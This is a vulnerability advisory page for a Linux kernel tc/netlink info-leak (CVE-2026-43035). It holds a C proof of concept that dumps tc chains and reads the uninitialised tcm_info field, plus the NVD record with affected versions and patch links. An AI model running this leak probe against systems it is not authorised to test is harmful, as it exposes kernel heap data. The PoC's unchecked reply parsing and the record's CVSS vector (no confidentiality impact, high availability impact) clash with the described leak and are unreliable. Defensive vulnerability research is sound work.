CVE-2026-43035

// Proof of Concept for CVE-2026-43035 // This PoC sends a netlink request to dump tc chains and checks the tcm_info field. // Compile with: gcc -o poc_cve2026_43035 poc_cve2026_43035.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> #define BUFFER_SIZE 4096 int main() { int sock_fd; struct sockaddr_nl sa; char buffer[BUFFER_SIZE]; struct nlmsghdr *nh; struct tcmsg *tcm; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)); // Prepare Request Message (RTM_GETCHAIN) memset(buffer, 0, BUFFER_SIZE); nh = (struct nlmsghdr *)buffer; nh->nlmsg_type = RTM_GETCHAIN; // Request chain info nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); tcm = (struct tcmsg *)NLMSG_DATA(nh); tcm->tcm_family = AF_UNSPEC; // Send Request sendto(sock_fd, buffer, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); printf("Sent RTM_GETCHAIN request...\n"); // Receive Response int len = recv(sock_fd, buffer, BUFFER_SIZE, 0); if (len > 0) { nh = (struct nlmsghdr *)buffer; // Parse response to find tcm_info // Note: In a vulnerable kernel, tcm_info might contain non-zero heap data struct tcmsg *resp_tcm = (struct tcmsg *)NLMSG_DATA(nh); printf("Received response. tcm_info (potential leak): 0x%x\n", resp_tcm->tcm_info); if (resp_tcm->tcm_info != 0) { printf("[+] Vulnerability detected: tcm_info is not zero!\n"); } } close(sock_fd); return 0; }

{"cve": {"id": "CVE-2026-43035", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:48.147", "lastModified": "2026-05-08T18:43:05.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: cls_api: fix tc_chain_fill_node to initialize tcm_info to zero to prevent an info-leak\n\nWhen building netlink messages, tc_chain_fill_node() never initializes\nthe tcm_info field of struct tcmsg. Since the allocation is not zeroed,\nkernel heap memory is leaked to userspace through this 4-byte field.\n\nThe fix simply zeroes tcm_info alongside the other fields that are\nalready initialized."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19", "versionEndExcluding": "5.10.253", "matchCriteriaId": "A8DA957C-C958-43FF-BB9F-975A326709F9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1091b3c174441a52fdbb92e2fe00338f9371a91c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4ae5d23f51fb91d7d1140c6f1ba77ab0756054c3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/71a3eda7e850ae844cb8993065f4e410c11a46ce", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/903c3405cfcc7700260e456ab66a5867586c9e69", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/906997ea3766c24fbbf9cc4bf17c047315bbd138", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d6db08484c6cb3d4ad696246f9d288eceba2a078", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e35f5195cd44ff4053fbc5d71ea97681728a0099", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e6e3eb5ee89ac4c163d46429391c889a1bb5e404", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]} ... 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